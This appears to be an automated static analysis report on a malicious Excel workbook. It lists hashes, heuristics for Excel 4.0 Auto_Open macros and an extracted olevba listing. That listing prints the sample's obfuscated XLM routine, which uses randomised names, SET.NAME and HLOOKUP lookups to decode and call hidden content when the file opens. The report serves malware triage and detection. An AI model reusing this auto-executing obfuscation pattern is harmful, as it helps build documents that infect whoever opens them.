Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31b4be1cc02d1b5a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:18 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: be42208b9b4852b7787910c984672e48 SHA-1: 8a842fcafbb7c35c9d390064d9031f8481aa8b4f SHA-256: 31b4be1cc02d1b5a2c9de1ccac2fb4063d7d9cc3692bd1449f7d4477a3ced147
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6663 bytes
SHA-256: dab52029bd205ccb0ce5f418dd63a06518f3975b4f2e9a6812b9d9e7c9cdfe0c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eKKhK
' 0018     25 LABEL : Cell Value, String Constant - AEFoHoNKuL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G185 
' 0018     22 LABEL : Cell Value, String Constant - DaYDGXz len=0 
' 0018     27 LABEL : Cell Value, String Constant - DxoDnRwoHqAw len=0 
' 0018     22 LABEL : Cell Value, String Constant - EpXksLD len=0 
' 0018     23 LABEL : Cell Value, String Constant - gSzLdHBX len=0 
' 0018     24 LABEL : Cell Value, String Constant - hhuHXQnxU len=0 
' 0018     27 LABEL : Cell Value, String Constant - HLHrVHcFBOuw len=0 
' 0018     26 LABEL : Cell Value, String Constant - iKjYgZDgbfd len=0 
' 0018     23 LABEL : Cell Value, String Constant - jGNcHUmj len=0 
' 0018     27 LABEL : Cell Value, String Constant - JlavpXlATEQr len=0 
' 0018     26 LABEL : Cell Value, String Constant - McByQHyezLm len=0 
' 0018     22 LABEL : Cell Value, String Constant - mwgqDZg len=0 
' 0018     20 LABEL : Cell Value, String Constant - nHkJm len=0 
' 0018     27 LABEL : Cell Value, String Constant - qPgVqgglRMbV len=0 
' 0018     22 LABEL : Cell Value, String Constant - RhntcGD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ryJmngHX len=0 
' 0018     22 LABEL : Cell Value, String Constant - ThEUhmE len=0 
' 0018     23 LABEL : Cell Value, String Constant - UcAvanHf len=0 
' 0018     25 LABEL : Cell Value, String Constant - ueYtBJzcwq len=0 
' 0018     25 LABEL : Cell Value, String Constant - VumGkYOoYR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eKKhK,Q65,"",-689.00000000000000000000
'  eKKhK,Q66,"",-351.00000000000000000000
'  eKKhK,Q67,"",-909.00000000000000000000
'  eKKhK,Q68,"",8.00000000000000000000
'  eKKhK,Q69,"",888.00000000000000000000
'  eKKhK,Q70,"",-462.00000000000000000000
'  eKKhK,G89,"SET.NAME("mwgqDZg",0+VALUE("0"))",""
'  eKKhK,G92,"SET.NAME("hhuHXQnxU",mwgqDZg)",""
'  eKKhK,G96,"SET.NAME("VumGkYOoYR",mwgqDZg)",""
'  eKKhK,G100,"SET.NAME("ThEUhmE",COUNTA(gSzLdHBX))",""
'  eKKhK,G104,"SET.NAME("DaYDGXz",COUNTA(UcAvanHf))",""
'  eKKhK,G109,[],""
'  eKKhK,G113,"SET.NAME("ryJmngHX","")",""
'  eKKhK,G117,"hhuHXQnxU",""
'  eKKhK,G120,"SET.NAME("HLHrVHcFBOuw",HLOOKUP("*",gSzLdHBX,hhuHXQnxU,FALSE))",""
'  eKKhK,G123,"EpXksLD",""
'  eKKhK,G128,"SET.NAME("JlavpXlATEQr",mwgqDZg)",""
'  eKKhK,G133,[],""
'  eKKhK,G137,"JlavpXlATEQr",""
'  eKKhK,G141,"iKjYgZDgbfd",""
'  eKKhK,G145,"nHkJm",""
'  eKKhK,G148,"jGNcHUmj",""
'  eKKhK,G152,"SET.NAME("McByQHyezLm",VALUE(HLOOKUP("*",UcAvanHf,jGNcHUmj,FALSE)))",""
'  eKKhK,G156,"ueYtBJzcwq",""
'  eKKhK,G158,"ryJmngHX",""
'  eKKhK,G162,"VumGkYOoYR",""
'  eKKhK,G164,NEXT(),""
'  eKKhK,G169,"RhntcGD",""
'  eKKhK,G172,[],""
'  eKKhK,G177,"DxoDnRwoHqAw",""
'  eKKhK,G179,NEXT(),""
'  eKKhK,G183,RETURN(),""
'  eKKhK,G212,"SET.NAME("qPgVqgglRMbV",G89)",""
'  eKKhK,G214,"gSzLdHBX",""
'  eKKhK,G216,"SET.NAME("UcAvanHf",R42C14)",""
'  eKKhK,G221,"SET.NAME("DxoDnRwoHqAw",229)",""
'  eKKhK,G224,"SET.NAME("AEFoHoNKuL",7)",""
'  eKKhK,G228,qPgVqgglRMbV(),""
'  eKKhK,G229,HALT(),""